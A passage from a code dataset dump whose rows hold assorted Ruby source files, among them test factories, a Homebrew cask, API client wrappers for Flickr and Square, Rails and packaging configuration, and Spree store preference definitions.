hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
212fb3425c3cb6d7930c763b2b9bde3919b3035e | 464 | FactoryBot.define do
factory :image, :class => ::Refinery::Image do
image { Refinery.roots('refinery/images').join("spec/fixtures/beach.jpeg") }
end
factory :alternate_image, :class => ::Refinery::Image do
image { Refinery.roots('refinery/images').join("spec/fixtures/beach-alternate.jpeg") }
end
factory :another_image, :class => ::Refinery::Image do
image { Refinery.roots('refinery/images').join("spec/fixtures/fathead.png") }
end
end
| 33.142857 | 90 | 0.700431 |
036c1755717fcc3a851a6e7464de531d4f67a689 | 955 | cask "hook" do
version "3.2.1,2021.08"
sha256 "f5aee8d4ae6d2c1279f249b2d18656c96b91de3a2c1c5a8fe557554e1bf9aee1"
url "https://hookproductivity.com/wp-content/uploads/#{version.after_comma.major}/#{version.after_comma.minor}/Hook-productivity-app-#{version.before_comma}.dmg_.zip",
user_agent: :fake
name "Hook"
desc "Link and retrieve key information"
homepage "https://hookproductivity.com/"
livecheck do
url :homepage
strategy :page_match do |page|
match = page.match(%r{href=.*?/(\d+)/(\d+)/Hook-productivity-app-(\d+(?:\.\d+)*(?:-\d+)*)\.dmg}i)
"#{match[3]},#{match[1]}.#{match[2]}"
end
end
auto_updates true
app "Hook.app"
uninstall launchctl: "com.cogsciapps.hookautolaunchhelper",
quit: "com.cogsciapps.hook"
zap trash: [
"~/Library/Caches/com.cogsciapps.hook",
"~/Library/Logs/com.cogsciapps.hook",
"~/Library/Preferences/com.cogsciapps.hook.plist",
]
end
| 29.84375 | 169 | 0.671204 |
62b561bdd15b58079c319d11596f19190cc4c030 | 787 | class Flickr
class Person < Object
class_api_method :find_by_email, "flickr.people.findByEmail"
class_api_method :find_by_username, "flickr.people.findByUsername"
class_api_method :get_upload_status, "flickr.people.getUploadStatus"
instance_api_method :get_info!, "flickr.people.getInfo"
instance_api_method :get_photos, "flickr.people.getPhotos"
instance_api_method :get_photos_of, "flickr.people.getPhotosOf"
instance_api_method :get_public_photos, "flickr.people.getPublicPhotos"
instance_api_method :get_public_photos_from_contacts, "flickr.photos.getContactsPublicPhotos"
instance_api_method :get_sets, "flickr.photosets.getList"
end
end
| 52.466667 | 97 | 0.701398 |
215794420536ceb0aaf19315618ba255c662e011 | 1,136 | require File.expand_path('../boot', __FILE__)
require "rails"
%w(
action_controller
action_mailer
sprockets
).each do |framework|
begin
require "#{framework}/railtie"
rescue LoadError
end
end
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
require "wechat"
module Dummy
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
end
end
| 31.555556 | 99 | 0.720951 |
0382b2e0ea0e179fd326e82e282d6ba2177a6feb | 3,071 | require 'stringio'
require "test_helper"
require "io_test_helpers"
class MessagesTest < Minitest::Test
include IoTestHelpers
def setup
@cli = Minesweeper::Messages
end
def test_that_the_welcome_method_welcomes_the_user
message = @cli.welcome
string = "\n===========================================\n WELCOME TO MINESWEEPER\n===========================================\n\n"
assert_equal(string, message)
end
def test_that_it_asks_for_emoji_type
assert_equal("\nPlayer 1 would you like to play with traditional bombs or would you like a surprise?\nEnter B for bombs or S for surprise:\n", @cli.ask_for_emoji_type)
end
def test_that_it_asks_for_a_move
assert_equal("\nPlayer 1, make your move:\n- to place a move: enter the word 'move' followed by one digit from the header and one digit from the left column, eg. move 3,1:\n- to place (or remove) a flag: enter the word 'flag' followed by the desired coordinates eg flag 3,1\n", @cli.ask_for_move)
end
def test_that_it_can_has_an_invalid_emoji_type_message
assert_equal("That was not a valid choice. Please try again.", @cli.invalid_emoji_type_message)
end
def test_that_it_has_an_invalid_move_message
assert_equal("That was not a valid move. Please try again.", @cli.invalid_move)
end
def test_that_it_can_send_an_invalid_bomb_count_message
assert_equal("That is not a valid bomb count. Please try again.", @cli.invalid_bomb_count_message)
end
def test_that_it_has_a_bomb_count_success_message
assert_equal("You selected 6. Setting bombs!", @cli.bomb_count_success_message(6))
end
def test_that_it_can_send_an_invalid_row_size_message
assert_equal("That is not a valid row size. Please try again.", @cli.invalid_row_size_message)
end
def test_that_it_has_a_row_size_success_message
assert_equal("You have selected a 10 x 10 board. Generating board.", @cli.row_size_success_message(10))
end
def test_that_it_has_an_invalid_player_input_message
assert_equal("Expecting 'flag' or 'move', with one digit from header and one digit from left column. Please try again!", @cli.invalid_player_input_message)
end
def test_that_it_can_send_a_player_input_success_message
assert_equal("You selected move 0,0. Placing your move.", @cli.player_input_success_message("move 0,0"))
end
def test_that_it_can_ask_player_to_set_board_size
assert_equal("Player 1 please enter a row size for your board, any number less than or equal to 20. \n(Entering 20 will give you a 20X20 board)\n", @cli.ask_for_row_size)
end
def test_that_it_can_ask_player_to_set_bomb_count
assert_equal("Player 1 please enter the number of bombs there should be on the board. \n(The number should not be more than 75)", @cli.ask_for_bomb_count(10))
end
def test_that_it_has_a_show_game_lost_message
assert_equal("Game over! You lose.", @cli.show_game_over_message("lose"))
end
def test_that_it_has_a_show_game_won_message
assert_equal("Game over! You win!", @cli.show_game_over_message("win"))
end
end
| 40.946667 | 300 | 0.754803 |
6a12878f51fa10aa1988bb8f9fef808fd9ca7f7a | 2,622 | # Each team has a build-defaults file that specifies local infrastructure targets
# for things like builders, target locations for build artifacts, etc Since much
# of these don't change, one file can be maintained for the team. Each project
# also has a data file for information specific to it. If the project builds
# both PE and not PE, it has two files, one for PE, and the other for FOSS
#
data_repo = 'https://raw.githubusercontent.com/puppetlabs/build-data'
project_data_branch = Pkg::Config.project
team_data_branch = Pkg::Config.team
if Pkg::Config.build_pe
project_data_branch = 'pe-' + project_data_branch unless project_data_branch =~ /^pe-/
team_data_branch = 'pe-' + team_data_branch unless team_data_branch =~ /^pe-/
end
project_data_url = data_repo + '/' + project_data_branch
team_data_url = data_repo + '/' + team_data_branch
# The pl:fetch task pulls down two files from the build-data repo that contain additional
# data specific to Puppet Labs release infrastructure intended to augment/override any
# defaults specified in the source project repo, e.g. in ext/build_defaults.yaml
#
# It uses curl to download the files, and places them in a temporary
# directory, e.g. /tmp/somedirectory/{project,team}/Pkg::Config.builder_data_file
namespace :pl do
desc "retrieve build-data configurations to override/extend local build_defaults"
task :fetch do
# Remove .packaging directory from old-style extras loading
rm_rf "#{ENV['HOME']}/.packaging" if File.directory?("#{ENV['HOME']}/.packaging")
# Touch the .packaging file which is allows packaging to present remote tasks
touch "#{ENV['HOME']}/.packaging"
if dist = Pkg::Util::Version.el_version
if dist.to_i < 6
flag = "-k"
end
end
[team_data_url, project_data_url].each do |url|
begin
tempdir = Pkg::Util::File.mktemp
%x(curl --fail --silent #{flag} #{url}/#{Pkg::Config.builder_data_file} > #{tempdir}/#{Pkg::Config.builder_data_file})
status = $?.exitstatus
case status
when 0
Pkg::Util::RakeUtils.invoke_task("pl:load_extras", tempdir)
when 22
if url == team_data_url
fail "Could not load team extras data from #{url}. This should not normally happen"
else
puts "No build data file for #{Pkg::Config.project}, skipping load of extra build data."
end
else
fail "There was an error fetching the builder extras data: #{url}/#{Pkg::Config.builder_data_file} - Exit code #{status}"
end
ensure
rm_rf tempdir
end
end
end
end
| 42.983607 | 131 | 0.696415 |
287c4d7780eedfefb6400cf46bf59601dc46b81a | 1,224 | Pod::Spec.new do |s|
s.name = 'Stripe'
s.version = '21.6.0'
s.summary = 'Stripe is a web-based API for accepting payments online.'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.homepage = 'https://stripe.com/docs/mobile/ios'
s.authors = { 'Stripe' => '[email protected]' }
s.source = { :git => 'https://github.com/stripe/stripe-ios.git', :tag => "#{s.version}" }
s.frameworks = 'Foundation', 'Security', 'WebKit', 'PassKit', 'Contacts', 'CoreLocation'
s.requires_arc = true
s.platform = :ios
s.ios.deployment_target = '11.0'
s.swift_version = '5.0'
s.source_files = 'Stripe/*.swift', 'Stripe/PanModal/**/*.swift'
s.ios.resource_bundle = { 'Stripe' => 'Stripe/Resources/**/*.{lproj,json,png,xcassets}' }
s.subspec 'Stripe3DS2' do |sp|
sp.source_files = 'Stripe3DS2/Stripe3DS2/**/*.{h,m}'
sp.resource_bundles = { 'Stripe3DS2' => ['Stripe3DS2/Stripe3DS2/Resources/**/*.{lproj,png}'] }
end
end
| 58.285714 | 115 | 0.493464 |
33e6ea6000dce87035d3941bc98199cf814afecd | 3,126 | require_relative 'spec_helper'
describe Release do
let(:git) do
g = double('git')
allow(g).to receive(:no_prompt=)
g
end
levels = %w(major minor patch)
levels.each do |l|
send(:let, l.to_sym) do
m = double(l)
allow(m).to receive("#{l}?".to_sym).and_return true
(levels - [l]).each do |ll|
allow(m).to receive("#{ll}?".to_sym).and_return false
end
m
end
end
describe '.release!' do
it 'calls category with a valid default category' do
c = double('c',
:major? => true,
:[] => '',
:color => :red,
)
git = double('git',
:clean_index! => true,
:compute_last_release => '1.0.0'.to_version,
:compute_changelog => [c],
:has_any_release? => true,
:tag => true,
:push_tag => true,
)
allow(git).to receive(:no_prompt=)
allow(git).to receive(:sub_dir).and_return(nil)
release = Release.new(git, no_prompt: true)
supermarket = double('supermarket')
expect(CookbookRelease::Supermarket).to receive(:new).and_return(supermarket)
expect(supermarket).to receive(:publish_ck).with('Other', nil)
release.release!
end
end
describe '.new_version' do
it 'raise when no commit has been made since last release' do
allow(git).to receive(:compute_last_release).and_return('1.0.1'.to_version)
expect(git).to receive(:compute_changelog).and_return([])
expect(git).to receive(:has_any_release?).and_return(true)
release = Release.new(git)
expect{release.new_version}.to raise_error(Release::ExistingRelease, /no commit since/i)
end
it 'suggests major release when one commit is major' do
allow(git).to receive(:compute_last_release).and_return('1.0.1'.to_version)
expect(git).to receive(:compute_changelog).and_return([minor, minor, major, patch])
expect(git).to receive(:has_any_release?).and_return(true)
release = Release.new(git)
new_version, reasons = release.new_version
expect(new_version).to eq('2.0.0'.to_version)
end
it 'suggests minor release when one commit is minor' do
allow(git).to receive(:compute_last_release).and_return('1.0.1'.to_version)
expect(git).to receive(:compute_changelog).and_return([minor, minor, patch, patch])
expect(git).to receive(:has_any_release?).and_return(true)
release = Release.new(git)
new_version, reasons = release.new_version
expect(new_version).to eq('1.1.0'.to_version)
end
it 'suggests patch release when all commits are patches' do
allow(git).to receive(:compute_last_release).and_return('1.0.1'.to_version)
expect(git).to receive(:compute_changelog).and_return([patch, patch, patch])
expect(git).to receive(:has_any_release?).and_return(true)
release = Release.new(git)
new_version, reasons = release.new_version
expect(new_version).to eq('1.0.2'.to_version)
end
end
end
| 32.226804 | 94 | 0.62508 |
ff30be7d73377530a51aaa4a6c5b7d79bc86056f | 1,992 | class UsersController < ApplicationController
get '/create_account' do
if logged_in?
redirect to "/ask_the_eightball"
else
erb :'users/create_account'
end
end
post '/create_account' do
# binding.pry #check that I have created a user
# @user = User.create(username: params[:username], email: params[:email], password: params[:password])
@user = User.create(params)
if @user.valid?
# binding.pry
session[:user_id] = @user.id # session = user id
redirect to "/ask_the_eightball"
else
@errors = @user.errors.full_messages
erb :'users/create_account' # if fails start again
end
end
get '/login' do
# binding.pry
if logged_in?
redirect to "/ask_the_eightball"
end
erb :'users/login'
end
post '/login' do
@user = User.find_by(email: params[:email])
if @user && @user.authenticate(params[:password]) #authenticate from bcrypt
# binding.pry
session[:user_id] = @user.id
redirect to "/ask_the_eightball"
else
@errors = "[\"Incorrect email and/or password\"]"
erb :'users/login' # if fails start again
end
end
get '/ask_the_eightball' do
# binding.pry
authenticate
# if logged_in? #should I "authenticate" here instead of "logged_in?"? Am I checking this twice?
@user = current_account #add/make a helper method for this?
@answer_lists = @user.answer_lists
erb :'users/ask_question'
# else
# redirect to '/login'
# end
end
get '/logout' do
# destroy/clear session and redirect to ('/')
session.destroy
redirect to ('/')
end
end | 29.731343 | 111 | 0.529116 |
bbd08add7a36f67a860fe358b2284cc8afd5be7d | 542 | Pod::Spec.new do |spec|
spec.name = 'KHTabBar'
spec.platform = :ios, '10.0'
spec.version = '1.0.0'
spec.homepage = 'https://github.com/yeungkaho/KHTabBar'
spec.authors = { 'Kaho Yeung' => '[email protected]' }
spec.summary = 'A custom tab bar for iOS that supports image sequence animations.'
spec.source = { :git => 'https://github.com/yeungkaho/KHTabBar.git', :tag => '1.0.0'}
spec.requires_arc = true
spec.source_files = 'KHTabBar/KHTabBar/*.swift'
spec.static_framework = true
end
| 33.875 | 93 | 0.632841 |
285e2ea648b42be267504582a269a3d155ffa313 | 7,227 | module Square
# CustomerGroupsApi
class CustomerGroupsApi < BaseApi
def initialize(config, http_call_back: nil)
super(config, http_call_back: http_call_back)
end
# Retrieves the list of customer groups of a business.
# @param [String] cursor Optional parameter: A pagination cursor returned by
# a previous call to this endpoint. Provide this cursor to retrieve the next
# set of results for your original query. For more information, see
# [Pagination](https://developer.squareup.com/docs/working-with-apis/paginat
# ion).
# @param [Integer] limit Optional parameter: The maximum number of results
# to return in a single page. This limit is advisory. The response might
# contain more or fewer results. The limit is ignored if it is less than 1
# or greater than 50. The default value is 50. For more information, see
# [Pagination](https://developer.squareup.com/docs/working-with-apis/paginat
# ion).
# @return [ListCustomerGroupsResponse Hash] response from the API call
def list_customer_groups(cursor: nil,
limit: nil)
# Prepare query url.
_query_builder = config.get_base_uri
_query_builder << '/v2/customers/groups'
_query_builder = APIHelper.append_url_with_query_parameters(
_query_builder,
'cursor' => cursor,
'limit' => limit
)
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json'
}
# Prepare and execute HttpRequest.
_request = config.http_client.get(
_query_url,
headers: _headers
)
OAuth2.apply(config, _request)
_response = execute_request(_request)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_response.raw_body)
_errors = APIHelper.map_response(decoded, ['errors'])
ApiResponse.new(
_response, data: decoded, errors: _errors
)
end
# Creates a new customer group for a business.
# The request must include the `name` value of the group.
# @param [CreateCustomerGroupRequest] body Required parameter: An object
# containing the fields to POST for the request. See the corresponding
# object definition for field details.
# @return [CreateCustomerGroupResponse Hash] response from the API call
def create_customer_group(body:)
# Prepare query url.
_query_builder = config.get_base_uri
_query_builder << '/v2/customers/groups'
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json',
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = config.http_client.post(
_query_url,
headers: _headers,
parameters: body.to_json
)
OAuth2.apply(config, _request)
_response = execute_request(_request)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_response.raw_body)
_errors = APIHelper.map_response(decoded, ['errors'])
ApiResponse.new(
_response, data: decoded, errors: _errors
)
end
# Deletes a customer group as identified by the `group_id` value.
# @param [String] group_id Required parameter: The ID of the customer group
# to delete.
# @return [DeleteCustomerGroupResponse Hash] response from the API call
def delete_customer_group(group_id:)
# Prepare query url.
_query_builder = config.get_base_uri
_query_builder << '/v2/customers/groups/{group_id}'
_query_builder = APIHelper.append_url_with_template_parameters(
_query_builder,
'group_id' => { 'value' => group_id, 'encode' => true }
)
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json'
}
# Prepare and execute HttpRequest.
_request = config.http_client.delete(
_query_url,
headers: _headers
)
OAuth2.apply(config, _request)
_response = execute_request(_request)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_response.raw_body)
_errors = APIHelper.map_response(decoded, ['errors'])
ApiResponse.new(
_response, data: decoded, errors: _errors
)
end
# Retrieves a specific customer group as identified by the `group_id` value.
# @param [String] group_id Required parameter: The ID of the customer group
# to retrieve.
# @return [RetrieveCustomerGroupResponse Hash] response from the API call
def retrieve_customer_group(group_id:)
# Prepare query url.
_query_builder = config.get_base_uri
_query_builder << '/v2/customers/groups/{group_id}'
_query_builder = APIHelper.append_url_with_template_parameters(
_query_builder,
'group_id' => { 'value' => group_id, 'encode' => true }
)
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json'
}
# Prepare and execute HttpRequest.
_request = config.http_client.get(
_query_url,
headers: _headers
)
OAuth2.apply(config, _request)
_response = execute_request(_request)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_response.raw_body)
_errors = APIHelper.map_response(decoded, ['errors'])
ApiResponse.new(
_response, data: decoded, errors: _errors
)
end
# Updates a customer group as identified by the `group_id` value.
# @param [String] group_id Required parameter: The ID of the customer group
# to update.
# @param [UpdateCustomerGroupRequest] body Required parameter: An object
# containing the fields to POST for the request. See the corresponding
# object definition for field details.
# @return [UpdateCustomerGroupResponse Hash] response from the API call
def update_customer_group(group_id:,
body:)
# Prepare query url.
_query_builder = config.get_base_uri
_query_builder << '/v2/customers/groups/{group_id}'
_query_builder = APIHelper.append_url_with_template_parameters(
_query_builder,
'group_id' => { 'value' => group_id, 'encode' => true }
)
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json',
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = config.http_client.put(
_query_url,
headers: _headers,
parameters: body.to_json
)
OAuth2.apply(config, _request)
_response = execute_request(_request)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_response.raw_body)
_errors = APIHelper.map_response(decoded, ['errors'])
ApiResponse.new(
_response, data: decoded, errors: _errors
)
end
end
end
| 35.955224 | 80 | 0.66639 |
ac4c13ff3df2d15fead2b0b236002cec3bff499e | 1,105 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20170314170331) do
create_table "submissions", force: :cascade do |t|
t.string "positionTitle"
t.integer "hours"
t.string "organizationName"
t.string "mailingAddress"
t.string "city"
t.integer "zipcode"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
end
| 40.925926 | 86 | 0.744796 |
79fa7bf89cc66e028d5f4471d4f89aa46f16eebe | 2,883 | require 'action_dispatch/http/parameter_filter'
module ActionDispatch
module Http
# Allows you to specify sensitive parameters which will be replaced from
# the request log by looking in the query string of the request and all
# sub-hashes of the params hash to filter. Filtering only certain sub-keys
# from a hash is possible by using the dot notation: 'credit_card.number'.
# If a block is given, each key and value of the params hash and all
# sub-hashes is passed to it, the value or key can be replaced using
# String#replace or similar method.
#
# env["action_dispatch.parameter_filter"] = [:password]
# => replaces the value to all keys matching /password/i with "[FILTERED]"
#
# env["action_dispatch.parameter_filter"] = [:foo, "bar"]
# => replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
#
# env["action_dispatch.parameter_filter"] = [ "credit_card.code" ]
# => replaces { credit_card: {code: "xxxx"} } with "[FILTERED]", does not
# change { file: { code: "xxxx"} }
#
# env["action_dispatch.parameter_filter"] = -> (k, v) do
# v.reverse! if k =~ /secret/i
# end
# => reverses the value to all keys matching /secret/i
module FilterParameters
ENV_MATCH = [/RAW_POST_DATA/, "rack.request.form_vars"] # :nodoc:
NULL_PARAM_FILTER = ParameterFilter.new # :nodoc:
NULL_ENV_FILTER = ParameterFilter.new ENV_MATCH # :nodoc:
def initialize
super
@filtered_parameters = nil
@filtered_env = nil
@filtered_path = nil
end
# Returns a hash of parameters with all sensitive data replaced.
def filtered_parameters
@filtered_parameters ||= parameter_filter.filter(parameters)
end
# Returns a hash of request.env with all sensitive data replaced.
def filtered_env
@filtered_env ||= env_filter.filter(@env)
end
# Reconstructed a path with all sensitive GET parameters replaced.
def filtered_path
@filtered_path ||= query_string.empty? ? path : "#{path}?#{filtered_query_string}"
end
protected
def parameter_filter
parameter_filter_for fetch_header("action_dispatch.parameter_filter") {
return NULL_PARAM_FILTER
}
end
def env_filter
user_key = fetch_header("action_dispatch.parameter_filter") {
return NULL_ENV_FILTER
}
parameter_filter_for(Array(user_key) + ENV_MATCH)
end
def parameter_filter_for(filters)
ParameterFilter.new(filters)
end
KV_RE = '[^&;=]+'
PAIR_RE = %r{(#{KV_RE})=(#{KV_RE})}
def filtered_query_string
query_string.gsub(PAIR_RE) do |_|
parameter_filter.filter($1 => $2).first.join("=")
end
end
end
end
end
| 34.73494 | 90 | 0.642733 |
0852dda6b299eff63de0e5249226c7c374b0fec5 | 1,306 | FactoryGirl.define do
factory :environment, class: Environment do
sequence(:name) { |n| "environment#{n}" }
project factory: :empty_project
sequence(:external_url) { |n| "https://env#{n}.example.gitlab.com" }
trait :with_review_app do |environment|
project
transient do
ref 'master'
end
# At this point `review app` is an ephemeral concept related to
# deployments being deployed for given environment. There is no
# first-class `review app` available so we need to create set of
# interconnected objects to simulate a review app.
#
after(:create) do |environment, evaluator|
deployment = create(:deployment,
environment: environment,
project: environment.project,
ref: evaluator.ref,
sha: environment.project.commit(evaluator.ref).id)
teardown_build = create(:ci_build, :manual,
name: "#{deployment.environment.name}:teardown",
pipeline: deployment.deployable.pipeline)
deployment.update_column(:on_stop, teardown_build.name)
environment.update_attribute(:deployments, [deployment])
end
end
end
end
| 35.297297 | 80 | 0.600306 |
1d280b055d9562bc9e20ca6eb42ab93a0a6d8f0f | 17,373 | # This is the primary location for defining spree preferences
#
# The expectation is that this is created once and stored in
# the spree environment
#
# setters:
# a.color = :blue
# a[:color] = :blue
# a.set :color = :blue
# a.preferred_color = :blue
#
# getters:
# a.color
# a[:color]
# a.get :color
# a.preferred_color
#
require "spree/core/search/base"
require "spree/core/search/variant"
module Spree
class AppConfiguration < Preferences::Configuration
# Alphabetized to more easily lookup particular preferences
# @!attribute [rw] address_requires_state
# @return [Boolean] should state/state_name be required
preference :address_requires_state, :boolean, default: true
# @!attribute [rw] admin_interface_logo
# @return [String] URL of logo used in admin (default: +'logo/solidus_logo.png'+)
preference :admin_interface_logo, :string, default: 'logo/solidus_logo.png'
# @!attribute [rw] admin_products_per_page
# @return [Integer] Number of products to display in admin (default: +10+)
preference :admin_products_per_page, :integer, default: 10
# @!attribute [rw] admin_variants_per_page
# @return [Integer] Number of variants to display in admin (default: +20+)
preference :admin_variants_per_page, :integer, default: 20
# @!attribute [rw] allow_checkout_on_gateway_error
# @return [Boolean] Allow checkout to complete after a failed payment (default: +false+)
preference :allow_checkout_on_gateway_error, :boolean, default: false
# @!attribute [rw] allow_guest_checkout
# @return [Boolean] When false, customers must create an account to complete an order (default: +true+)
preference :allow_guest_checkout, :boolean, default: true
# @!attribute [rw] allow_return_item_amount_editing
# @return [Boolean] Determines whether an admin is allowed to change a return item's pre-calculated amount (default: +false+)
preference :allow_return_item_amount_editing, :boolean, default: false
# @!attribute [rw] alternative_billing_phone
# @return [Boolean] Request an extra phone number for bill address (default: +false+)
preference :alternative_billing_phone, :boolean, default: false
# @!attribute [rw] alternative_shipping_phone
# @return [Boolean] Request an extra phone number for shipping address (default: +false+)
preference :alternative_shipping_phone, :boolean, default: false
# @!attribute [rw] always_put_site_name_in_title
# @return [Boolean] When true, site name is always appended to titles on the frontend (default: +true+)
preference :always_put_site_name_in_title, :boolean, default: true
# @!attribute [rw] auto_capture
# @note Setting this to true is not recommended. Performing an authorize
# and later capture has far superior error handing. VISA and MasterCard
# also require that shipments are sent within a certain time of the card
# being charged.
# @return [Boolean] Perform a sale/purchase transaction at checkout instead of a authorize and capture.
preference :auto_capture, :boolean, default: false
# @!attribute [rw] auto_capture_exchanges
# @return [Boolean] automatically capture the credit card (as opposed to just authorize and capture later) (default: +false+)
preference :auto_capture_exchanges, :boolean, default: false
# @!attribute [rw] binary_inventory_cache
# Only invalidate product caches when they change from in stock to out of
# stock. By default, caches are invalidated on any change of inventory
# quantity. Setting this to true should make operations on inventory
# faster.
# (default: +false+)
# @deprecated - use inventory_cache_threshold instead
# @return [Boolean]
preference :binary_inventory_cache, :boolean, default: false
# @!attribute [rw] completable_order_created_cutoff
# @return [Integer] the number of days to look back for created orders which get returned to the user as last completed
preference :completable_order_created_cutoff_days, :integer, default: nil
# @!attribute [rw] completable_order_created_cutoff
# @return [Integer] the number of days to look back for updated orders which get returned to the user as last completed
preference :completable_order_updated_cutoff_days, :integer, default: nil
# @!attribute [rw] inventory_cache_threshold
# Only invalidate product caches when the count on hand for a stock item
# falls below or rises about the inventory_cache_threshold. When undefined, the
# product caches will be invalidated anytime the count on hand is changed.
# @return [Integer]
preference :inventory_cache_threshold, :integer
# @!attribute [rw] checkout_zone
# @return [String] Name of a {Zone}, which limits available countries to those included in that zone. (default: +nil+)
preference :checkout_zone, :string, default: nil
# @!attribute [rw] company
# @return [Boolean] Request company field for billing and shipping addresses. (default: +false+)
preference :company, :boolean, default: false
# @!attribute [rw] create_rma_for_unreturned_exchange
# @return [Boolean] allows rma to be created for items after unreturned exchange charge has been made (default: +false+)
preference :create_rma_for_unreturned_exchange, :boolean, default: false
# @!attribute [rw] currency
# Currency to use by default when not defined on the site (default: +"USD"+)
# @return [String] ISO 4217 Three letter currency code
preference :currency, :string, default: "USD"
# @!attribute [rw] default_country_id
# @deprecated Use the default country ISO preference instead
# @return [Integer,nil] id of {Country} to be selected by default in dropdowns (default: nil)
preference :default_country_id, :integer
# @!attribute [rw] default_country_iso
# Default customer country ISO code
# @return [String] Two-letter ISO code of a {Spree::Country} to assumed as the country of an unidentified customer (default: "US")
preference :default_country_iso, :string, default: 'US'
# @!attribute [rw] admin_vat_country_iso
# Set this if you want to enter prices in the backend including value added tax.
# @return [String, nil] Two-letter ISO code of that {Spree::Country} for which
# prices are entered in the backend (default: nil)
preference :admin_vat_country_iso, :string, default: nil
# @!attribute [rw] expedited_exchanges
# Kicks off an exchange shipment upon return authorization save.
# charge customer if they do not return items within timely manner.
# @note this requires payment profiles to be supported on your gateway of
# choice as well as a delayed job handler to be configured with
# activejob.
# @return [Boolean] Use expidited exchanges (default: +false+)
preference :expedited_exchanges, :boolean, default: false
# @!attribute [rw] expedited_exchanges_days_window
# @return [Integer] Number of days the customer has to return their item
# after the expedited exchange is shipped in order to avoid being
# charged (default: +14+)
preference :expedited_exchanges_days_window, :integer, default: 14
# @!attribute [rw] generate_api_key_for_all_roles
# @return [Boolean] Allow generating api key automatically for user
# at role_user creation for all roles. (default: +false+)
preference :generate_api_key_for_all_roles, :boolean, default: false
# @!attribute [rw] layout
# @return [String] template to use for layout on the frontend (default: +"spree/layouts/spree_application"+)
preference :layout, :string, default: 'spree/layouts/spree_application'
# @!attribute [rw] logo
# @return [String] URL of logo used on frontend (default: +'logo/solidus_logo.png'+)
preference :logo, :string, default: 'logo/solidus_logo.png'
# @!attribute [rw] order_bill_address_used
# @return [Boolean] Use the order's bill address, as opposed to storing
# bill addresses on payment sources. (default: +true+)
preference :order_bill_address_used, :boolean, default: true
# @!attribute [rw] order_capturing_time_window
# @return [Integer] the number of days to look back for fully-shipped/cancelled orders in order to charge for them
preference :order_capturing_time_window, :integer, default: 14
# @!attribute [rw] max_level_in_taxons_menu
# @return [Integer] maximum nesting level in taxons menu (default: +1+)
preference :max_level_in_taxons_menu, :integer, default: 1
# @!attribute [rw] order_mutex_max_age
# @return [Integer] Max age of {OrderMutex} in seconds (default: 2 minutes)
preference :order_mutex_max_age, :integer, default: 120
# @!attribute [rw] orders_per_page
# @return [Integer] Orders to show per-page in the admin (default: +15+)
preference :orders_per_page, :integer, default: 15
# @!attribute [rw] properties_per_page
# @return [Integer] Properties to show per-page in the admin (default: +15+)
preference :properties_per_page, :integer, default: 15
# @!attribute [rw] products_per_page
# @return [Integer] Products to show per-page in the frontend (default: +12+)
preference :products_per_page, :integer, default: 12
# @!attribute [rw] promotions_per_page
# @return [Integer] Promotions to show per-page in the admin (default: +15+)
preference :promotions_per_page, :integer, default: 15
# @!attribute [rw] customer_returns_per_page
# @return [Integer] Customer returns to show per-page in the admin (default: +15+)
preference :customer_returns_per_page, :integer, default: 15
# @!attribute [rw] require_master_price
# @return [Boolean] Require a price on the master variant of a product (default: +true+)
preference :require_master_price, :boolean, default: true
# @!attribute [rw] require_payment_to_ship
# @return [Boolean] Allows shipments to be ready to ship regardless of the order being paid if false (default: +true+)
preference :require_payment_to_ship, :boolean, default: true # Allows shipments to be ready to ship regardless of the order being paid if false
# @!attribute [rw] return_eligibility_number_of_days
# @return [Integer] default: 365
preference :return_eligibility_number_of_days, :integer, default: 365
# @!attribute [rw] roles_for_auto_api_key
# @return [Array] An array of roles where generating an api key for a user
# at role_user creation is desired when user has one of these roles.
# (default: +['admin']+)
preference :roles_for_auto_api_key, :array, default: ['admin']
# @!attribute [rw] shipping_instructions
# @return [Boolean] Request instructions/info for shipping (default: +false+)
preference :shipping_instructions, :boolean, default: false
# @!attribute [rw] show_only_complete_orders_by_default
# @return [Boolean] Only show completed orders by default in the admin (default: +true+)
preference :show_only_complete_orders_by_default, :boolean, default: true
# @!attribute [rw] show_variant_full_price
# @return [Boolean] Displays variant full price or difference with product price. (default: +false+)
preference :show_variant_full_price, :boolean, default: false
# @!attribute [rw] show_products_without_price
# @return [Boolean] Whether products without a price are visible in the frontend (default: +false+)
preference :show_products_without_price, :boolean, default: false
# @!attribute [rw] show_raw_product_description
